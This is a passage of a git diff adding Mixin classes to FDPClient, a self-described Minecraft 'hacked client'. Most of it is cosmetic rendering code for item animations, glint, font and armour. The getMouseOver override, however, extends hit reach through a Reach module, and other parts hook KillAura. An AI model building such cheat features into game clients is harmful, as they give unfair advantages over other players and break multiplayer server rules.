d2 = entity.prevPosZ + (entity.posZ - entity.prevPosZ) * partialTicks; + this.cloudFog = this.mc.renderGlobal.hasCloudFog(d0, d1, d2, partialTicks); + } + } + + /** + * @author Liuli + * @reason + */ + @Overwrite + public void getMouseOver(float p_getMouseOver_1_) { + Entity entity = this.mc.getRenderViewEntity(); + if(entity != null && this.mc.theWorld != null) { + this.mc.mcProfiler.startSection("pick"); + this.mc.pointedEntity = null; + + final Reach reach = FDPClient.moduleManager.getModule(Reach.class); + + double d0 = Objects.requireNonNull(reach).getState() ? reach.getMaxRange() : mc.playerController.getBlockReachDistance(); + this.mc.objectMouseOver = entity.rayTrace(reach.getState() ? reach.getBuildReachValue().get() : d0, p_getMouseOver_1_); + double d1 = d0; + Vec3 vec3 = entity.getPositionEyes(p_getMouseOver_1_); + boolean flag = false; + if(this.mc.playerController.extendedReach()) { + d0 = 6; + d1 = 6; + } else if (d0 > 3) { + flag = true; + } + + if(this.mc.objectMouseOver != null) { + d1 = this.mc.objectMouseOver.hitVec.distanceTo(vec3); + } + + if(reach.getState()) { + + final MovingObjectPosition movingObjectPosition = entity.rayTrace(reach.getBuildReachValue().get(), p_getMouseOver_1_); + + if(movingObjectPosition != null) d1 = movingObjectPosition.hitVec.distanceTo(vec3); + } + + Vec3 vec31 = entity.getLook(p_getMouseOver_1_); + Vec3 vec32 = vec3.addVector(vec31.xCoord * d0, vec31.yCoord * d0, vec31.zCoord * d0); + this.pointedEntity = null; + Vec3 vec33 = null; + float f = 1.0F; + List<Entity> list = this.mc.theWorld.getEntitiesInAABBexcluding(entity, entity.getEntityBoundingBox().addCoord(vec31.xCoord * d0, vec31.yCoord * d0, vec31.zCoord * d0).expand(f, f, f), Predicates.and(EntitySelectors.NOT_SPECTATING, Entity::canBeCollidedWith)); + double d2 = d1; + + for (Entity entity1 : list) { + float f1 = entity1.getCollisionBorderSize(); + + final ArrayList<AxisAlignedBB> boxes = new ArrayList<>(); + boxes.add(entity1.getEntityBoundingBox().expand(f1, f1, f1)); + + for (final AxisAlignedBB axisalignedbb : boxes) { + MovingObjectPosition movingobjectposition = axisalignedbb.calculateIntercept(vec3, vec32); + if (axisalignedbb.isVecInside(vec3)) { + if (d2 >= 0) { + this.pointedEntity = entity1; + vec33 = movingobjectposition == null ? vec3 : movingobjectposition.hitVec; + d2 = 0; + } + } else if (movingobjectposition != null) { + double d3 = vec3.distanceTo(movingobjectposition.hitVec); + if (d3 < d2 || d2 == 0) { + if (entity1 == entity.ridingEntity && !entity.canRiderInteract()) { + if (d2 == 0) { + this.pointedEntity = entity1; + vec33 = movingobjectposition.hitVec; + } + } else { + this.pointedEntity = entity1; + vec33 = movingobjectposition.hitVec; + d2 = d3; + } + } + } + } + } + if (pointedEntity != null && flag && vec3.distanceTo(vec33) > (reach.getState() ? reach.getCombatReachValue().get() : 3)) { + this.pointedEntity = null; + this.mc.objectMouseOver = new MovingObjectPosition(MovingObjectPosition.MovingObjectType.MISS, Objects.requireNonNull(vec33), null, new BlockPos(vec33)); + } + + if(this.pointedEntity != null && (d2 < d1 || this.mc.objectMouseOver == null)) { + this.mc.objectMouseOver = new MovingObjectPosition(this.pointedEntity, vec33); + if(this.pointedEntity instanceof EntityLivingBase || this.pointedEntity instanceof EntityItemFrame) { + this.mc.pointedEntity = this.pointedEntity; + } + } + + this.mc.mcProfiler.endSection(); + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinFontRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinFontRenderer.java new file mode 100644 index 0000000..eb73cd3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinFontRenderer.java @@ -0,0 +1,47 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.TextEvent; +import net.minecraft.client.gui.FontRenderer; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.ModifyVariable; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +@Mixin(FontRenderer.class) +public abstract class MixinFontRenderer { + @ModifyVariable(method = "renderString", at = @At("HEAD"), ordinal = 0) + private String renderString(String string) { + if (string == null || FDPClient.eventManager == null) + return string; + + final TextEvent textEvent = new TextEvent(string); + FDPClient.eventManager.callEvent(textEvent); + return textEvent.getText(); + } + + @ModifyVariable(method = "getStringWidth", at = @At("HEAD"), ordinal = 0) + private String getStringWidth(String string) { + if (string == null || FDPClient.eventManager == null) + return string; + + final TextEvent textEvent = new TextEvent(string); + FDPClient.eventManager.callEvent(textEvent); + return textEvent.getText(); + } + // the below brreaks if u remove it idk why + @Inject(method = "drawString(Ljava/lang/String;FFIZ)I", at = @At("HEAD"), cancellable = true) + public void drawString(String p_drawString_1_, float p_drawString_2_, float p_drawString_3_, int p_drawString_4_, boolean p_drawString_5_, CallbackInfoReturnable<Integer> cir) { + } + + @Inject(method = "getStringWidth", at = @At("HEAD"), cancellable = true) + public void getStringWidth(String p_getStringWidth_1_, CallbackInfoReturnable<Integer> cir) { + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinItemRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinItemRenderer.java new file mode 100644 index 0000000..d8c9cdc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinItemRenderer.java @@ -0,0 +1,508 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.Animations; +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura; +import net.ccbluex.liquidbounce.features.module.modules.visual.AntiBlind; +import net.ccbluex.liquidbounce.utils.FakeItemRender; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.AbstractClientPlayer; +import net.minecraft.client.entity.EntityPlayerSP; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.ItemRenderer; +import net.minecraft.client.renderer.RenderHelper; +import net.minecraft.client.renderer.block.model.ItemCameraTransforms; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.item.EnumAction; +import net.minecraft.item.ItemMap; +import net.minecraft.item.ItemStack; +import net.minecraft.item.ItemSword; +import net.minecraft.util.MathHelper; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(ItemRenderer.class) +public abstract class MixinItemRenderer { + @Shadow + private float prevEquippedProgress; + + @Shadow + private float equippedProgress; + + @Shadow + @Final + private Minecraft mc; + + @Shadow + protected abstract void rotateArroundXAndY(float angle, float angleY); + + @Shadow + protected abstract void setLightMapFromPlayer(AbstractClientPlayer clientPlayer); + + @Shadow + protected abstract void rotateWithPlayerRotations(EntityPlayerSP entityPlayerSP, float partialTicks); + + @Shadow + private ItemStack itemToRender; + + @Shadow + protected abstract void renderItemMap(AbstractClientPlayer clientPlayer, float pitch, float equipmentProgress, float swingProgress); + + @Shadow + protected abstract void performDrinking(AbstractClientPlayer clientPlayer, float partialTicks); + + @Shadow + protected abstract void doBlockTransformations(); + + @Shadow + protected abstract void doBowTransformations(float partialTicks, AbstractClientPlayer clientPlayer); + + @Shadow + protected abstract void doItemUsedTransformations(float swingProgress); + + @Shadow + public abstract void renderItem(EntityLivingBase entityIn, ItemStack heldStack, ItemCameraTransforms.TransformType transform); + + @Shadow + protected abstract void renderPlayerArm(AbstractClientPlayer clientPlayer, float equipProgress, float swingProgress); + + @Shadow + private int equippedItemSlot = -1; + + private final Animations animations = Animations.INSTANCE; + + /** + * @author Liuli + */ + @Overwrite + private void transformFirstPersonItem(float equipProgress, float swingProgress) { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, equipProgress * -0.6F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float f = MathHelper.sin(swingProgress * swingProgress * 3.1415927F); + float f1 = MathHelper.sin(MathHelper.sqrt_float(swingProgress) * 3.1415927F); + GlStateManager.rotate(f * -20.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(f1 * -20.0F, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(f1 * -80.0F, 1.0F, 0.0F, 0.0F); + doItemRenderGLScale(); + } + + /** + * @author SuperSkidder + * @reason Make fake items render correctly + */ + @Overwrite + public void updateEquippedItem() { + this.prevEquippedProgress = this.equippedProgress; + EntityPlayer entityplayer = this.mc.thePlayer; + ItemStack itemstack = entityplayer.inventory.getCurrentItem(); + if (FakeItemRender.INSTANCE.getFakeItem() != -1) { + itemstack = entityplayer.inventory.getStackInSlot(FakeItemRender.INSTANCE.getFakeItem()); + } + boolean flag = false; + if (this.itemToRender != null && itemstack != null) { + if (!this.itemToRender.getIsItemStackEqual(itemstack)) { + if (!this.itemToRender.getItem().shouldCauseReequipAnimation(this.itemToRender, itemstack, this.equippedItemSlot != entityplayer.inventory.currentItem)) { + this.itemToRender = itemstack; + this.equippedItemSlot = entityplayer.inventory.currentItem; + return; + } + + flag = true; + } + } else flag = this.itemToRender != null || itemstack != null; + + float f = 0.4F; + float f1 = flag ? 0.0F : 1.0F; + float f2 = MathHelper.clamp_float(f1 - this.equippedProgress, -f, f); + this.equippedProgress += f2; + if (this.equippedProgress < 0.1F) { + this.itemToRender = itemstack; + this.equippedItemSlot = entityplayer.inventory.currentItem; + } + + } + + /** + * @author Liuli + */ + @Overwrite + public void renderItemInFirstPerson(float partialTicks) { + float f = 1.0F - (this.prevEquippedProgress + (this.equippedProgress - this.prevEquippedProgress) * partialTicks); + AbstractClientPlayer abstractclientplayer = mc.thePlayer; + float f1 = abstractclientplayer.getSwingProgress(partialTicks); + float f2 = abstractclientplayer.prevRotationPitch + (abstractclientplayer.rotationPitch - abstractclientplayer.prevRotationPitch) * partialTicks; + float f3 = abstractclientplayer.prevRotationYaw + (abstractclientplayer.rotationYaw - abstractclientplayer.prevRotationYaw) * partialTicks; + this.rotateArroundXAndY(f2, f3); + this.setLightMapFromPlayer(abstractclientplayer); + this.rotateWithPlayerRotations((EntityPlayerSP) abstractclientplayer, partialTicks); + GlStateManager.enableRescaleNormal(); + GlStateManager.pushMatrix(); + + if (this.itemToRender != null) { + final boolean displayBlocking = FDPClient.moduleManager.getModule(KillAura.class).getDisplayBlocking(); + + if (this.itemToRender.getItem() instanceof ItemMap) { + this.renderItemMap(abstractclientplayer, f2, f, f1); + } else if ((abstractclientplayer.isUsingItem() || (mc.gameSettings.keyBindUseItem.isKeyDown() && animations.getAnythingBlockValue().get())) || ((itemToRender.getItem() instanceof ItemSword || animations.getAnythingBlockValue().get()) && displayBlocking)) { + switch((displayBlocking || animations.getAnythingBlockValue().get()) ? EnumAction.BLOCK : this.itemToRender.getItemUseAction()) { + case NONE: + this.transformFirstPersonItem(f, 0.0F); + break; + case EAT: + case DRINK: + this.performDrinking(abstractclientplayer, partialTicks); + this.transformFirstPersonItem(f, f1); + break; + case BLOCK: + GL11.glTranslated(animations.getTranslateXValue().get(), animations.getTranslateYValue().get(), animations.getTranslateZValue().get()); + GlStateManager.rotate(animations.getRotateXValue().get(), 1.0F, 0.0F, 0.0F); + GlStateManager.rotate(animations.getRotateYValue().get(), 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(animations.getRotateZValue().get(), 0.0F, 0.0F, 1.0F); + switch (animations.getBlockingModeValue().get()) { + case "1.7": { + transformFirstPersonItem(f, f1); + doBlockTransformations(); + break; + } + case "Akrien": { + transformFirstPersonItem(f1, 0.0F); + doBlockTransformations(); + break; + } + case "Avatar": { + avatar(f1); + doBlockTransformations(); + break; + } + case "ETB": { + etb(f, f1); + doBlockTransformations(); + break; + } + case "Exhibition": { + transformFirstPersonItem(f, 0.83F); + float f4 = MathHelper.sin(MathHelper.sqrt_float(f1) * 3.83F); + GlStateManager.translate(-0.5F, 0.2F, 0.2F); + GlStateManager.rotate(-f4 * 0.0F, 0.0F, 0.0F, 0.0F); + GlStateManager.rotate(-f4 * 43.0F, 58.0F, 23.0F, 45.0F); + doBlockTransformations(); + break; + } + case "Push": { + push(f1); + doBlockTransformations(); + break; + } + case "Reverse": { + transformFirstPersonItem(f1, f1); + doBlockTransformations(); + GlStateManager.rotate(0.0F, 1.0F, 0.0F, 0.0F); + break; + } + case "Shield": { + jello(f1); + doBlockTransformations(); + break; + } + case "SigmaNew": { + doItemRenderGLTranslate(); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var11 = MathHelper.sin(f1 * f1 * 3.1415927F); + float var12 = MathHelper.sin(MathHelper.sqrt_float(f1) * 3.1415927F); + GlStateManager.rotate(var12 * -5.0F, 1.0F, 0.0F, 0.0F); + GlStateManager.rotate(var12 * 0.0F, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(var12 * 25.0F, 0.0F, 1.0F, 0.0F); + doItemRenderGLScale(); + doBlockTransformations(); + break; + } + case "SigmaOld": { + sigmaOld(f); + float var15 = MathHelper.sin(MathHelper.sqrt_float(f1) * 3.1415927F); + GlStateManager.rotate(-var15 * 55.0F / 2.0F, -8.0F, -0.0F, 9.0F); + GlStateManager.rotate(-var15 * 45.0F, 1.0F, var15 / 2.0F, -0.0F); + doBlockTransformations(); + GL11.glTranslated(1.2D, 0.3D, 0.5D); + GL11.glTranslatef(-1.0F, mc.thePlayer.isSneaking() ? -0.1F : -0.2F, 0.2F); + GlStateManager.scale(1.2F, 1.2F, 1.2F); + break; + } + case "Slide": { + slide(f1); + doBlockTransformations(); + break; + } + case "SlideDown": { + transformFirstPersonItem(0.2F, f1); + doBlockTransformations(); + break; + } + case "Swong": { + transformFirstPersonItem(f / 2.0F, 0.0F); + GlStateManager.rotate(-MathHelper.sin(MathHelper.sqrt_float(f1) * 3.1415927F) * 40.0F / 2.0F, MathHelper.sqrt_float(f1) / 2.0F, -0.0F, 9.0F); + GlStateManager.rotate(-MathHelper.sqrt_float(f1) * 30.0F, 1.0F, MathHelper.sqrt_float(f1) / 2.0F, -0.0F); + doBlockTransformations(); + break; + } + case "VisionFX": { + continuity(f1); + doBlockTransformations(); + break; + } + case "Swank":{ + GL11.glTranslated(-0.1, 0.15, 0.0); + this.transformFirstPersonItem(f / 0.15f, f1); + final float rot = MathHelper.sin(MathHelper.sqrt_float(f1) * 3.1415927f); + GlStateManager.rotate(rot * 30.0f, 2.0f, -rot, 9.0f); + GlStateManager.rotate(rot * 35.0f, 1.0f, -rot, -0.0f); + this.doBlockTransformations(); + break; + } + case "Jello":{ + this.transformFirstPersonItem(0.0f, 0.0f); + this.doBlockTransformations(); + final int alpha = (int)Math.min(255L, ((System.currentTimeMillis() % 255L > 127L) ? Math.abs(Math.abs(System.currentTimeMillis()) % 255L - 255L) : (System.currentTimeMillis() % 255L)) * 2L); + GlStateManager.translate(0.3f, -0.0f, 0.4f); + GlStateManager.rotate(0.0f, 0.0f, 0.0f, 1.0f); + GlStateManager.translate(0.0f, 0.5f, 0.0f); + GlStateManager.rotate(90.0f, 1.0f, 0.0f, -1.0f); + GlStateManager.translate(0.6f, 0.5f, 0.0f); + GlStateManager.rotate(-90.0f, 1.0f, 0.0f, -1.0f); + GlStateManager.rotate(-10.0f, 1.0f, 0.0f, -1.0f); + GlStateManager.rotate(abstractclientplayer.isSwingInProgress ? (-alpha / 5.0f) : 1.0f, 1.0f, -0.0f, 1.0f); + break; + } + case "HSlide":{ + transformFirstPersonItem(f1!=0?Math.max(1-(f1*2),0)*0.7F:0, 1F); + doBlockTransformations(); + break; + } + case "None":{ + transformFirstPersonItem(0F,0F); + doBlockTransformations(); + break; + } + case "Rotate":{ + rotateSword(f1); + break; + } + case "Liquid": { + this.transformFirstPersonItem(f + 0.1F, f1); + this.doBlockTransformations(); + GlStateManager.translate(-0.5F, 0.2F, 0.0F); + break; + } + case "Fall": { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, f * -0.6F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + doItemRenderGLScale(); + doBlockTransformations(); + break; + } + case "Yeet": { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, f * -0.6F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var11 = MathHelper.sin(f1 * f1 * 3.1415927F); + float var12 = MathHelper.sin(MathHelper.sqrt_float(f1) * 3.1415927F); + GlStateManager.rotate(var11 * 0.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(var12 * 0.0F, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(var12 * -40.0F + 10F, 1.0F, 0.0F, 0.0F); + doItemRenderGLScale(); + doBlockTransformations(); + break; + } + case "Yeet2": { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, f * -0.8F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var11 = MathHelper.sin(f1 * f1 * 3.1415927F); + float var12 = MathHelper.sin(MathHelper.sqrt_float(f1) * 3.1415927F); + GlStateManager.rotate(var11 * 0.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(var12 * 0.0F, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(var12 * -20.0F - 9.5F, 1.0F, 0.0F, 0.0F); + doItemRenderGLScale(); + doBlockTransformations(); + break; + } + case "Dortware": { + float var9 = MathHelper.sin(MathHelper.sqrt_float(f1) * 3.1415927F); + GL11.glTranslated(-0.04D, 0.0D, 0.0D); + this.transformFirstPersonItem(f / 2.5F, 0.0f); + GlStateManager.rotate(-var9 * 0.0F / 2.0F, var9 / 2.0F, 1.0F, 4.0F); + GlStateManager.rotate(-var9 * 120.0F, 1.0F, var9 / 3.0F, -0.0F); + GlStateManager.translate(-0.5F, 0.2F, 0.0F); + GlStateManager.rotate(30.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(-80.0F, 1.0F, 0.0F, 0.0F); + GlStateManager.rotate(60.0F, 0.0F, 1.0F, 0.0F); + break; + } + + } + break; + case BOW: + this.transformFirstPersonItem(f, f1); + this.doBowTransformations(partialTicks, abstractclientplayer); + } + }else{ + if (!animations.getSwingAnimValue().get()) + this.doItemUsedTransformations(f1); + this.transformFirstPersonItem(f, f1); + } + + this.renderItem(abstractclientplayer, this.itemToRender, ItemCameraTransforms.TransformType.FIRST_PERSON); + }else if(!abstractclientplayer.isInvisible()) { + this.renderPlayerArm(abstractclientplayer, f, f1); + } + + GlStateManager.popMatrix(); + GlStateManager.disableRescaleNormal(); + RenderHelper.disableStandardItemLighting(); + } + + private void doItemRenderGLTranslate(){ + GlStateManager.translate(animations.getItemPosXValue().get(), animations.getItemPosYValue().get(), animations.getItemPosZValue().get()); + } + + private void doItemRenderGLScale(){ + GlStateManager.scale(animations.getItemScaleValue().get(), animations.getItemScaleValue().get(), animations.getItemScaleValue().get()); + } + + private void sigmaOld(float f) { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, f * -0.6F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(0F, 0.0F, 1.0F, 0.2F); + GlStateManager.rotate(0F, 0.2F, 0.1F, 1.0F); + GlStateManager.rotate(0F, 1.3F, 0.1F, 0.2F); + doItemRenderGLScale(); + } + + //methods in LiquidBounce b73 Animation-No-Cross + private void avatar(float swingProgress) { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, 0.0F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float f = MathHelper.sin(swingProgress * swingProgress * 3.1415927F); + float f2 = MathHelper.sin(MathHelper.sqrt_float(swingProgress) * 3.1415927F); + GlStateManager.rotate(f * -20.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(f2 * -20.0F, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(f2 * -40.0F, 1.0F, 0.0F, 0.0F); + doItemRenderGLScale(); + } + + private void slide(float var9) { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, 0.0F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var11 = MathHelper.sin(var9 * var9 * 3.1415927F); + float var12 = MathHelper.sin(MathHelper.sqrt_float(var9) * 3.1415927F); + GlStateManager.rotate(var11 * 0.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(var12 * 0.0F, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(var12 * -40.0F, 1.0F, 0.0F, 0.0F); + doItemRenderGLScale(); + } + + private void rotateSword(float f1){ + genCustom(); + doBlockTransformations(); + GlStateManager.translate(-0.5F, 0.2F, 0.0F); + GlStateManager.rotate(MathHelper.sqrt_float(f1) * 10.0F * 40.0F, 1.0F, -0.0F, 2.0F); + } + + private void genCustom() { + GlStateManager.translate(0.56F, -0.52F, -0.71999997F); + GlStateManager.translate(0.0F, (float) 0.0 * -0.6F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var3 = MathHelper.sin((float) 0.0 * (float) 0.0 * 3.1415927F); + float var4 = MathHelper.sin(MathHelper.sqrt_float((float) 0.0) * 3.1415927F); + GlStateManager.rotate(var3 * -34.0F, 0.0F, 1.0F, 0.2F); + GlStateManager.rotate(var4 * -20.7F, 0.2F, 0.1F, 1.0F); + GlStateManager.rotate(var4 * -68.6F, 1.3F, 0.1F, 0.2F); + GlStateManager.scale(0.4F, 0.4F, 0.4F); + } + + + private void jello(float var12) { + doItemRenderGLTranslate(); + GlStateManager.rotate(48.57F, 0.0F, 0.24F, 0.14F); + float var13 = MathHelper.sin(var12 * var12 * 3.1415927F); + float var14 = MathHelper.sin(MathHelper.sqrt_float(var12) * 3.1415927F); + GlStateManager.rotate(var13 * -35.0F, 0.0F, 0.0F, 0.0F); + GlStateManager.rotate(var14 * 0.0F, 0.0F, 0.0F, 0.0F); + GlStateManager.rotate(var14 * 20.0F, 1.0F, 1.0F, 1.0F); + doItemRenderGLScale(); + } + + private void continuity(float var10) { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, 0.0F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var12 = -MathHelper.sin(var10 * var10 * 3.1415927F); + float var13 = MathHelper.cos(MathHelper.sqrt_float(var10) * 3.1415927F); + float var14 = MathHelper.abs(MathHelper.sqrt_float((float) 0.1) * 3.1415927F); + GlStateManager.rotate(var12 * var14 * 30.0F, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(var13 * 0.0F, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(var13 * 20.0F, 1.0F, 0.0F, 0.0F); + doItemRenderGLScale(); + } + + public void sigmaNew(float var22, float var23) { + doItemRenderGLTranslate(); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var24 = MathHelper.sin(var23 * MathHelper.sqrt_float(var22) * 3.1415927F); + float var25 = MathHelper.abs(MathHelper.sqrt_double(var22) * 3.1415927F); + GlStateManager.rotate(var24 * 20.0F * var25, 0.0F, 1.0F, 1.0F); + doItemRenderGLScale(); + } + + private void etb(float equipProgress, float swingProgress) { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, equipProgress * -0.6F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var3 = MathHelper.sin(swingProgress * swingProgress * 3.1415927F); + float var4 = MathHelper.sin(MathHelper.sqrt_float(swingProgress) * 3.1415927F); + GlStateManager.rotate(var3 * -34.0F, 0.0F, 1.0F, 0.2F); + GlStateManager.rotate(var4 * -20.7F, 0.2F, 0.1F, 1.0F); + GlStateManager.rotate(var4 * -68.6F, 1.3F, 0.1F, 0.2F); + doItemRenderGLScale(); + } + + private void push(float idc) { + doItemRenderGLTranslate(); + GlStateManager.translate(0.0F, (float) 0.1 * -0.6F, 0.0F); + GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F); + float var3 = MathHelper.sin(idc * idc * 3.1415927F); + float var4 = MathHelper.sin(MathHelper.sqrt_float(idc) * 3.1415927F); + GlStateManager.rotate(var3 * -10.0F, 1.0F, 1.0F, 1.0F); + GlStateManager.rotate(var4 * -10.0F, 1.0F, 1.0F, 1.0F); + GlStateManager.rotate(var4 * -10.0F, 1.0F, 1.0F, 1.0F); + doItemRenderGLScale(); + } + + /** + * @author Liuli + */ + @Redirect(method="renderFireInFirstPerson", at=@At(value="INVOKE", target="Lnet/minecraft/client/renderer/GlStateManager;color(FFFF)V")) + private void renderFireInFirstPerson(float p_color_0_, float p_color_1_, float p_color_2_, float p_color_3_) { + final AntiBlind antiBlind = FDPClient.moduleManager.getModule(AntiBlind.class); + if(p_color_3_ != 1F && antiBlind.getState()){ + GlStateManager.color(p_color_0_, p_color_1_, p_color_2_, antiBlind.getFireEffectValue().get()); + }else{ + GlStateManager.color(p_color_0_, p_color_1_, p_color_2_, p_color_3_); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerArmorBase.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerArmorBase.java new file mode 100644 index 0000000..89cb911 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerArmorBase.java @@ -0,0 +1,28 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.visual.Glint; +import net.minecraft.client.renderer.entity.layers.LayerArmorBase; +import net.minecraft.client.renderer.entity.layers.LayerRenderer; +import net.minecraft.entity.EntityLivingBase; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.ModifyArgs; +import org.spongepowered.asm.mixin.injection.Slice; +import org.spongepowered.asm.mixin.injection.invoke.arg.Args; + +@Mixin(value={LayerArmorBase.class}) +public abstract class MixinLayerArmorBase implements LayerRenderer<EntityLivingBase> { + + @ModifyArgs(method="renderGlint", slice=@Slice(from=@At(value="INVOKE", target="Lnet/minecraft/client/renderer/GlStateManager;disableLighting()V", ordinal=0)), at=@At(value="INVOKE", target="Lnet/minecraft/client/renderer/GlStateManager;color(FFFF)V", ordinal=0), require=1, allow=1) + private void renderGlint(Args args) { + Glint glint = FDPClient.moduleManager.getModule(Glint.class); + if (glint.getState()) { + int n = glint.getColor().getRGB(); + args.set(0, (Object) ((float) (n >> 16 & 0xFF) / 255.0f)); + args.set(1, (Object) ((float) (n >> 8 & 0xFF) / 255.0f)); + args.set(2, (Object) ((float) (n & 0xFF) / 255.0f)); + args.set(3, (Object) ((float) (n >> 24 & 0xFF) / 255.0f)); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerArrow.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerArrow.java new file mode 100644 index 0000000..be82c4a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerArrow.java @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.renderer.entity.layers.LayerArrow; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(LayerArrow.class) +public class MixinLayerArrow { + + @Redirect(method = "doRenderLayer", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/renderer/RenderHelper;disableStandardItemLighting()V")) + private void removeDisable() { + // no-op + } + + @Redirect(method = "doRenderLayer", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/renderer/RenderHelper;enableStandardItemLighting()V")) + private void removeEnable() { + // no-op + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerCreeperCharge.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerCreeperCharge.java new file mode 100644 index 0000000..129a41d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinLayerCreeperCharge.java @@ -0,0 +1,27 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import net.minecraft.client.renderer.entity.layers.LayerCreeperCharge; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.ModifyArg; +import org.spongepowered.asm.mixin.injection.Slice; + +@Mixin(LayerCreeperCharge.class) +public class MixinLayerCreeperCharge { + @ModifyArg( + method = "doRenderLayer(Lnet/minecraft/entity/monster/EntityCreeper;FFFFFFF)V", + slice = @Slice( + from = @At( + value = "INVOKE", + target = "Lnet/minecraft/client/model/ModelCreeper;render(Lnet/minecraft/entity/Entity;FFFFFF)V" + ) + ), + at = @At( + value = "INVOKE", + target = "Lnet/minecraft/client/renderer/GlStateManager;depthMask(Z)V" + ) + ) + private boolean fixDepth(boolean original) { + return true; + } +} \ No newline at end of file 